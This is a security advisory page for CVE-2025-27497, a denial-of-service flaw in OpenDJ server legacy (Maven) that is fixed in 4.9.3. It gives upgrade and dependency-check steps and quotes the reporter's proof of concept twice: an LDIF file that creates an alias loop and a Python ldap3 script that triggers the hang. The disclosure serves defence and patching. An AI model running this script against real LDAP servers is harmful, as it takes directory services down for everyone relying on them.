CVE-2025-27497: Opendj server legacy Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-93qr-h8pr-4593
CWE-835
Published
Advisory Summary

CVE-2025-27497 is a HIGH denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Opendj server legacy libraries in the Maven ecosystem. The issue involves opendj denial of service (dos) using alias loop. Remediation is available by upgrading affected packages to version 4.9.3.

CVE-2025-27497 at a Glance

CVE Identifier CVE-2025-27497
GHSA Identifier GHSA-93qr-h8pr-4593
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product Opendj server legacy
Package Ecosystem Maven
Published Date
Last Updated

How to Fix CVE-2025-27497

To remediate this vulnerability, upgrade all affected Opendj server legacy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.openidentityplatform.opendj:opendj-server-legacy fixed: 4.9.3
<dependency>
    <groupId>org.openidentityplatform.opendj</groupId>
    <artifactId>opendj-server-legacy</artifactId>
    <version>4.9.3</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.openidentityplatform.opendj

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2025-27497, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.openidentityplatform.opendj

Analyze the terminal output to locate any version of Opendj server legacy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.9.3), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.openidentityplatform.opendj command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Opendj server legacy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an `ldapsearch` request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine. ### Details An unauthenticated attacker can exploit this vulnerability using a single crafted `ldapsearch` request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily. ### PoC (Steps to Reproduce) 1. Set up an OpenDJ server instance as usual, using the base DN `dc=example,dc=com` 2. Import the attached `example_data_alias_dos.ldif` file into the LDAP database 3. Ensure that the `ldap3` Python library is installed (`pip install ldap3`) 4. Run the attached Python script `python opendj_alias_dos.py`, which searches for alias loops and executes the DoS attack 5. After executing the script, the server will stop responding to requests until it is restarted ### Impact This vulnerability directly affects server availability for everyone using it. A single `ldapsearch` request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests: ``` result: 80 Other (e.g., implementation specific) error text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible. ``` **example_data_alias_dos.ldif** ``` dn: dc=example,dc=com objectClass: top objectClass: domain dc: example dn: ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: people description: All users dn: ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: students description: All students dn: uid=jd123,ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person mail: jd123@example.com sn: Doe cn: John Doe givenName: John uid: jd123 dn: ou=employees,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: employees description: All employees dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com uid: jd123 dn: ou=researchers,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: researchers description: All reasearchers dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com uid: jd123 ``` **opendj_alias_dos.py** ```Python import argparse from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError def connect_to_ldap(ip, port): try: server = Server(ip, port, get_info=ALL) connection = Connection(server, auto_bind=True) return connection except (LDAPBindError, LDAPSocketOpenError) as e: print(f"Error connecting to LDAP server: {e}") return None def find_aliases(connection, base_dn): try: search_filter = "(objectClass=alias)" connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"]) except Exception as e: print(f"Error during search: {e}") aliases = {} for entry in connection.entries: entry_dn = entry.entry_dn entry_alias = entry.aliasedObjectName.value aliases[entry_dn] = entry_alias return aliases def detect_alias_loop(aliases): visited = set() path = set() def dfs(alias): if alias in path: return alias if alias in visited: return None path.add(alias) visited.add(alias) aliased_target = aliases.get(alias) if aliased_target: result = dfs(aliased_target) if result: return result path.remove(alias) return None for alias in aliases: if alias not in visited: loop_alias = dfs(alias) if loop_alias: return loop_alias return None def execute_dos_search(connection, looping_alias_dn): try: search_filter = "(objectClass=*)" connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS) except Exception as e: print(f"Error during search: {e}") for entry in connection.entries: entry_dn = entry.entry_dn print(entry_dn) def main(): parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.") parser.add_argument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.") parser.add_argument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.") parser.add_argument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.") args = parser.parse_args() if not args.ip: args.ip = input("Please enter the IP address of the LDAP server: ") if not args.port: while True: try: port_input = input("Please enter the port of the LDAP server: ") args.port = int(port_input) break except ValueError: print("Invalid input. Please enter a valid integer for the port.") if not args.base: args.base = input("Please enter the base DN of the LDAP server: ") connection = connect_to_ldap(args.ip, args.port) if connection: aliases = find_aliases(connection, args.base) looping_alias_dn = detect_alias_loop(aliases) if looping_alias_dn: execute_dos_search(connection, looping_alias_dn) print(f"DOS executed with alias: {looping_alias_dn}") else: print("No looping alias DN found!") connection.unbind() if __name__ == "__main__": main() ```

CVE-2025-27497 Affected Opendj server legacy Versions

1 component(s)
Fixed Versions:
4.9.3
Product / Package Ecosystem Affected Versions Fixed Version
org.openidentityplatform.opendj:opendj-server-legacy
Maven
< 4.9.3
4.9.3

References

Frequently Asked Questions

What is CVE-2025-27497?
CVE-2025-27497 is a security vulnerability in Opendj server legacy involving OpenDJ Denial of Service (DoS) using alias loop under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which Opendj server legacy versions are affected?
Affected versions include releases prior to 4.9.3 across affected packages: org.openidentityplatform.opendj:opendj-server-legacy.
What version fixes CVE-2025-27497?
Upgrading to 4.9.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is opendj-server-legacy affected?
Yes, org.openidentityplatform.opendj:opendj-server-legacy is affected in releases prior to 4.9.3. Upgrade your dependency to 4.9.3 or later.
What CWE is associated with CVE-2025-27497?
CVE-2025-27497 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check Maven dependencies for CVE-2025-27497?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.openidentityplatform.opendj'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-93qr-h8pr-4593",
  "modified" : "2025-03-05T18:33:30Z",
  "published" : "2025-03-05T18:33:30Z",
  "aliases" : [ "CVE-2025-27497" ],
  "summary" : "OpenDJ Denial of Service (DoS) using alias loop",
  "details" : "### Summary\nA denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an `ldapsearch` request is executed with alias dereferencing set to \"always\" on this alias entry, the server stops responding to all future requests.\nI have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.\n\n### Details\nAn unauthenticated attacker can exploit this vulnerability using a single crafted `ldapsearch` request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.\n\n### PoC (Steps to Reproduce)\n1. Set up an OpenDJ server instance as usual, using the base DN `dc=example,dc=com`\n2. Import the attached `example_data_alias_dos.ldif` file into the LDAP database\n3. Ensure that the `ldap3` Python library is installed (`pip install ldap3`)\n4. Run the attached Python script `python opendj_alias_dos.py`, which searches for alias loops and executes the DoS attack\n5. After executing the script, the server will stop responding to requests until it is restarted\n\n### Impact\nThis vulnerability directly affects server availability for everyone using it. A single `ldapsearch` request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:\n```\nresult: 80 Other (e.g., implementation specific) error\ntext: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.\n```\n\n**example_data_alias_dos.ldif**\n```\ndn: dc=example,dc=com\nobjectClass: top\nobjectClass: domain\ndc: example\n\ndn: ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: people\ndescription: All users\n\ndn: ou=students,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: students\ndescription: All students\n\ndn: uid=jd123,ou=students,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: inetOrgPerson\nobjectClass: organizationalPerson\nobjectClass: person\nmail: jd123@example.com\nsn: Doe\ncn: John Doe\ngivenName: John\nuid: jd123\n\ndn: ou=employees,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: employees\ndescription: All employees\n\ndn: uid=jd123,ou=employees,ou=people,dc=example,dc=com\nobjectClass: alias\nobjectClass: top\nobjectClass: extensibleObject\naliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com\nuid: jd123\n\ndn: ou=researchers,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: researchers\ndescription: All reasearchers\n\ndn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com\nobjectClass: alias\nobjectClass: top\nobjectClass: extensibleObject\naliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com\nuid: jd123\n```\n\n**opendj_alias_dos.py**\n```Python\nimport argparse\n\nfrom ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS\nfrom ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError\n\n\ndef connect_to_ldap(ip, port):\n    try:\n        server = Server(ip, port, get_info=ALL)\n        connection = Connection(server, auto_bind=True)\n        return connection\n    except (LDAPBindError, LDAPSocketOpenError) as e:\n        print(f\"Error connecting to LDAP server: {e}\")\n        return None\n\n\ndef find_aliases(connection, base_dn):\n    try:\n        search_filter = \"(objectClass=alias)\"\n        connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=[\"*\"])\n    except Exception as e:\n        print(f\"Error during search: {e}\")\n\n    aliases = {}\n    for entry in connection.entries:\n        entry_dn = entry.entry_dn\n        entry_alias = entry.aliasedObjectName.value\n        aliases[entry_dn] = entry_alias\n\n    return aliases\n\n\ndef detect_alias_loop(aliases):\n    visited = set()\n    path = set()\n\n    def dfs(alias):\n        if alias in path:\n            return alias\n        if alias in visited:\n            return None\n\n        path.add(alias)\n        visited.add(alias)\n\n        aliased_target = aliases.get(alias)\n        if aliased_target:\n            result = dfs(aliased_target)\n            if result:\n                return result\n\n        path.remove(alias)\n        return None\n\n    for alias in aliases:\n        if alias not in visited:\n            loop_alias = dfs(alias)\n            if loop_alias:\n                return loop_alias\n\n    return None\n\n\ndef execute_dos_search(connection, looping_alias_dn):\n    try:\n        search_filter = \"(objectClass=*)\"\n        connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)\n    except Exception as e:\n        print(f\"Error during search: {e}\")\n\n    for entry in connection.entries:\n        entry_dn = entry.entry_dn\n        print(entry_dn)\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Search LDAP for circular alias references.\")\n    parser.add_argument(\"ip\", type=str, nargs=\"?\", default=None, help=\"The IP address of the LDAP server.\")\n    parser.add_argument(\"port\", type=int, nargs=\"?\", default=None, help=\"The port of the LDAP server.\")\n    parser.add_argument(\"base\", type=str, nargs=\"?\", default=None, help=\"The base DN of the LDAP server.\")\n    args = parser.parse_args()\n\n    if not args.ip:\n        args.ip = input(\"Please enter the IP address of the LDAP server: \")\n\n    if not args.port:\n        while True:\n            try:\n                port_input = input(\"Please enter the port of the LDAP server: \")\n                args.port = int(port_input)\n                break\n            except ValueError:\n                print(\"Invalid input. Please enter a valid integer for the port.\")\n\n    if not args.base:\n        args.base = input(\"Please enter the base DN of the LDAP server: \")\n\n    connection = connect_to_ldap(args.ip, args.port)\n    if connection:\n        aliases = find_aliases(connection, args.base)\n        looping_alias_dn = detect_alias_loop(aliases)\n        if looping_alias_dn:\n            execute_dos_search(connection, looping_alias_dn)\n            print(f\"DOS executed with alias: {looping_alias_dn}\")\n        else:\n            print(\"No looping alias DN found!\")\n        connection.unbind()\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.openidentityplatform.opendj:opendj-server-legacy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.9.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-27497"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenIdentityPlatform/OpenDJ"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-05T18:33:30Z",
    "nvd_published_at" : "2025-03-05T16:15:40Z"
  }
}